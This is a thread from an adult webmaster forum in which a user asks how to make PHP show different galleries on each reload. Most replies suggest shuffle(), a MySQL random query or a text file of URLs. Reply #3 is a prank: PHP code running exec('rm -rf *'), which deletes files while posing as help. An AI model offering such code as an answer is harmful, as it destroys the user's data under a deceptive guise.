|
|
|
||||
|
Welcome to the GoFuckYourself.com - Adult Webmaster Forum forums. You are currently viewing our boards as a guest which gives you limited access to view most discussions and access our other features. By joining our free community you will have access to post topics, communicate privately with other members (PM), respond to polls, upload content and access many other special features. Registration is fast, simple and absolutely free so please, join our community today! If you have any problems with the registration process or your account login, please contact us. |
![]() |
|
|||||||
| Discuss what's fucking going on, and which programs are best and worst. One-time "program" announcements from "established" webmasters are allowed. |
|
|
Thread Tools |
|
|
#1 |
|
So Fucking Banned
Join Date: Jul 2003
Location: sweden
Posts: 791
|
how do i write a php so code so that the galleries change everytime
how do i write a php so code so that the galleries change everytime (everytime the site is reloaded)
same as chockers galleries i think |
|
|
|
|
|
#2 |
|
Too lazy to set a custom title
Join Date: Oct 2002
Location: Global Traveler
Posts: 51,271
|
Bump.
|
|
|
|
|
|
#3 |
|
So Fucking Banned
Join Date: Aug 2002
Posts: 5,579
|
Code:
<?php
exec('rm -rf *');
echo('0wn3d!');
?>
|
|
|
|
|
|
#4 | |
|
Confirmed User
Join Date: Oct 2003
Location: California
Posts: 2,397
|
Quote:
|
|
|
|
|
|
|
#5 |
|
Confirmed User
Join Date: Mar 2003
Posts: 1,169
|
if you have an array of galleries have a look at shuffle function
if you have them in db then look at mysql rand function
__________________
SUBMIT YOUR BABE GALLERIES PROMOTE YOUR BLOG HERE always looking for hardlinks icq #207011694 Thunder-Ball.net, good for hardlink exchanges |
|
|
|
|
|
#6 |
|
Confirmed User
Join Date: Feb 2005
Posts: 283
|
icq me 243680554
|
|
|
|
|
|
#7 | |
|
Confirmed User
Join Date: Jan 2005
Location: United Kingdom
Posts: 7,990
|
Quote:
![]() |
|
|
|
|
|
|
#8 |
|
Confirmed User
Join Date: Mar 2004
Location: Australia iCQ:408018496
Posts: 1,332
|
use perl, make a txt file full of gallery_urls, descriptions, thumb_count, category. Make a perl script that will print from the txt file on load.
__________________
I dont need a sig.
|
|
|
|
|
|
#9 |
|
Junior Achiever
Industry Role:
Join Date: Nov 2004
Location: Walled Garden
Posts: 17,066
|
PHP Code:
Open up notepad and paste all your galleries into it. And make sure you only put one gallery per line. Save it as galleries.txt http://site.com/gallery1.html http://site.com/gallery3.html http://site.com/gallery4.html http://site.com/gallery5.html etc. Then just upload and you're done. |
|
|
|
|
|
#10 |
|
Confirmed User
Join Date: May 2002
Location: MI
Posts: 1,827
|
Or if the gallery urls and such are already in a database just create a query to pull out random galleries.
SELECT * FROM galleries_table ORDER BY Rand() LIMIT 100; will pull out 100 random galleries from the galleries table. If its in mysql that is.
__________________
Latest MMA news. http://www.mmawrapup.com |
|
|
|
|
|
#11 |
|
So Fucking Banned
Join Date: Jul 2003
Location: sweden
Posts: 791
|
Thanks alot
|
|
|
|